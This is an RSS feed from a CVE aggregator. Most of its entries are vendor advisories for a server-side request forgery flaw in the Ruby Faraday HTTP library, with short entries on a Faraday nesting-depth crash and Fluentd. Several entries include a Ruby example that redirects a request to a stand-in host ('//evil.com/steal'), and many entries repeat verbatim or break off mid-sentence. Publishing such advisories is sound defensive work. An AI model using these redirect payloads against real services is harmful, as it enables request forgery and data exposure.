https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Sat, 03 Oct 2026 13:12:32 +0000 https://cve.radiocsirt.org/vuln/bdu:2026-09131 bdu:2026-09131 https://cve.radiocsirt.org/vuln/bdu:2026-09131 https://cve.radiocsirt.org/vuln/brew-krane-cve-2026-25765 <p><strong>Affected:</strong> Homebrew: krane</p> <p>### Impact</p> <p>Faraday&#39;s `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby&#39;s `URI#merge` to combine the connection&#39;s base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references that override the base URL&#39;s host/authority component.</p> <p>This means that if any application passes user-controlled input to Faraday&#39;s `get()`, `post()`, `build_url()`, or other request methods, an attacker can supply a protocol-relative URL like `//attacker.com/endpoint` to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).</p> <p>The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with `/`, so protocol-relative URLs bypass it entirely.</p> <p>**Example:** ```ruby conn = Faraday.new(url: &#39;https://api.internal.com&#39;) conn.get(&#39;//evil.com/steal&#39;) # Request is sent to https://evil.com/steal instead of api.internal.com ```</p> <p>### Patches</p> <p>Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.</p> <p>### Workarounds</p> <p>**NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.**</p> <p>Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:</p> <p>- Reject or strip input that starts with // followed by a non-/ character - Use a…</p> <p><strong>Affected:</strong> Homebrew: krane</p> <p>### Impact</p> <p>Faraday&#39;s `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby&#39;s `URI#merge` to combine the connection&#39;s base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references that override the base URL&#39;s host/authority component.</p> <p>This means that if any application passes user-controlled input to Faraday&#39;s `get()`, `post()`, `build_url()`, or other request methods, an attacker can supply a protocol-relative URL like `//attacker.com/endpoint` to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).</p> <p>The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with `/`, so protocol-relative URLs bypass it entirely.</p> <p>**Example:** ```ruby conn = Faraday.new(url: &#39;https://api.internal.com&#39;) conn.get(&#39;//evil.com/steal&#39;) # Request is sent to https://evil.com/steal instead of api.internal.com ```</p> <p>### Patches</p> <p>Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.</p> <p>### Workarounds</p> <p>**NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.**</p> <p>Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:</p> <p>- Reject or strip input that starts with // followed by a non-/ character - Use a…</p> https://cve.radiocsirt.org/vuln/brew-krane-cve-2026-25765 https://cve.radiocsirt.org/vuln/certfr-2026-avi-0249 certfr-2026-avi-0249 https://cve.radiocsirt.org/vuln/certfr-2026-avi-0249 https://cve.radiocsirt.org/vuln/cleanstart-2026-fv59211 <p><strong>Affected:</strong> CleanStart: logstash-fips</p> <p>CVE-2026-25765 affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details.</p> <p><strong>Affected:</strong> CleanStart: logstash-fips</p> <p>CVE-2026-25765 affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details.</p> https://cve.radiocsirt.org/vuln/cleanstart-2026-fv59211 https://cve.radiocsirt.org/vuln/euvd-2026-267778 EUVD-2026-267778 https://cve.radiocsirt.org/vuln/euvd-2026-267778 https://cve.radiocsirt.org/vuln/fkie_cve-2026-25765 <p>Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Prior to 2.14.1, Faraday&#39;s build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby&#39;s URI#merge to combine the connection&#39;s base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL&#39;s host/authority component. This means that if any application passes user-controlled input to Faraday&#39;s get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). This vulnerability is fixed in 2.14.1.</p> <p>Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Prior to 2.14.1, Faraday&#39;s build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby&#39;s URI#merge to combine the connection&#39;s base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL&#39;s host/authority component. This means that if any application passes user-controlled input to Faraday&#39;s get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). This vulnerability is fixed in 2.14.1.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2026-25765 https://cve.radiocsirt.org/vuln/ghsa-33mh-2634-fwr2 <p><strong>Affected:</strong> RubyGems: faraday</p> <p>### Impact</p> <p>Faraday&#39;s `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby&#39;s `URI#merge` to combine the connection&#39;s base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references that override the base URL&#39;s host/authority component.</p> <p>This means that if any application passes user-controlled input to Faraday&#39;s `get()`, `post()`, `build_url()`, or other request methods, an attacker can supply a protocol-relative URL like `//attacker.com/endpoint` to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).</p> <p>The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with `/`, so protocol-relative URLs bypass it entirely.</p> <p>**Example:** ```ruby conn = Faraday.new(url: &#39;https://api.internal.com&#39;) conn.get(&#39;//evil.com/steal&#39;) # Request is sent to https://evil.com/steal instead of api.internal.com ```</p> <p>### Patches</p> <p>Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.</p> <p>### Workarounds</p> <p>**NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.**</p> <p>Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:</p> <p>- Reject or strip input that starts with // followed by a non-/ character - Use a…</p> <p><strong>Affected:</strong> RubyGems: faraday</p> <p>### Impact</p> <p>Faraday&#39;s `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby&#39;s `URI#merge` to combine the connection&#39;s base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references that override the base URL&#39;s host/authority component.</p> <p>This means that if any application passes user-controlled input to Faraday&#39;s `get()`, `post()`, `build_url()`, or other request methods, an attacker can supply a protocol-relative URL like `//attacker.com/endpoint` to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).</p> <p>The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with `/`, so protocol-relative URLs bypass it entirely.</p> <p>**Example:** ```ruby conn = Faraday.new(url: &#39;https://api.internal.com&#39;) conn.get(&#39;//evil.com/steal&#39;) # Request is sent to https://evil.com/steal instead of api.internal.com ```</p> <p>### Patches</p> <p>Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.</p> <p>### Workarounds</p> <p>**NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.**</p> <p>Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:</p> <p>- Reject or strip input that starts with // followed by a non-/ character - Use a…</p> https://cve.radiocsirt.org/vuln/ghsa-33mh-2634-fwr2 https://cve.radiocsirt.org/vuln/oesa-2026-2802 <p><strong>Affected:</strong> openEuler:22.03-LTS-SP4: rubygem-faraday</p> <p>HTTP/REST API client library Security Fix(es):</p> <p>Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Prior to 2.14.1, Faraday&amp;apos;s build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby&amp;apos;s URI#merge to combine the connection&amp;apos;s base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL&amp;apos;s host/authority component. This means that if any application passes user-controlled input to Faraday&amp;apos;s get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). This vulnerability is fixed in 2.14.1.(CVE-2026-25765)</p> <p>Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. From 1.0.0 until 1.10.6 and 2.14.3, Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth. A crafted query string causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead t…</p> <p><strong>Affected:</strong> openEuler:22.03-LTS-SP4: rubygem-faraday</p> <p>HTTP/REST API client library Security Fix(es):</p> <p>Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Prior to 2.14.1, Faraday&amp;apos;s build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby&amp;apos;s URI#merge to combine the connection&amp;apos;s base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL&amp;apos;s host/authority component. This means that if any application passes user-controlled input to Faraday&amp;apos;s get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). This vulnerability is fixed in 2.14.1.(CVE-2026-25765)</p> <p>Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. From 1.0.0 until 1.10.6 and 2.14.3, Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth. A crafted query string causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead t…</p> https://cve.radiocsirt.org/vuln/oesa-2026-2802 https://cve.radiocsirt.org/vuln/ubuntu-cve-2026-25765 <p><strong>Affected:</strong> Ubuntu:14.04:LTS: ruby-faraday, Ubuntu:16.04:LTS: ruby-faraday, Ubuntu:18.04:LTS: ruby-faraday, Ubuntu:20.04:LTS: ruby-faraday, Ubuntu:22.04:LTS: ruby-faraday, Ubuntu:24.04:LTS: ruby-faraday, Ubuntu:25.10: ruby-faraday, Ubuntu:26.04:LTS: ruby-faraday</p> <p>Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Prior to 2.14.1, Faraday&#39;s build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby&#39;s URI#merge to combine the connection&#39;s base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL&#39;s host/authority component. This means that if any application passes user-controlled input to Faraday&#39;s get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). This vulnerability is fixed in 2.14.1.</p> <p><strong>Affected:</strong> Ubuntu:14.04:LTS: ruby-faraday, Ubuntu:16.04:LTS: ruby-faraday, Ubuntu:18.04:LTS: ruby-faraday, Ubuntu:20.04:LTS: ruby-faraday, Ubuntu:22.04:LTS: ruby-faraday, Ubuntu:24.04:LTS: ruby-faraday, Ubuntu:25.10: ruby-faraday, Ubuntu:26.04:LTS: ruby-faraday</p> <p>Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Prior to 2.14.1, Faraday&#39;s build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby&#39;s URI#merge to combine the connection&#39;s base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL&#39;s host/authority component. This means that if any application passes user-controlled input to Faraday&#39;s get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). This vulnerability is fixed in 2.14.1.</p> https://cve.radiocsirt.org/vuln/ubuntu-cve-2026-25765 https://cve.radiocsirt.org/vuln/wid-sec-w-2026-0552 <p>Ein Angreifer kann mehrere Schwachstellen in Fluentd ausnutzen, um Dateien und Daten zu manipulieren.</p> <p>Ein Angreifer kann mehrere Schwachstellen in Fluentd ausnutzen, um Dateien und Daten zu manipulieren.</p> https://cve.radiocsirt.org/vuln/wid-sec-w-2026-0552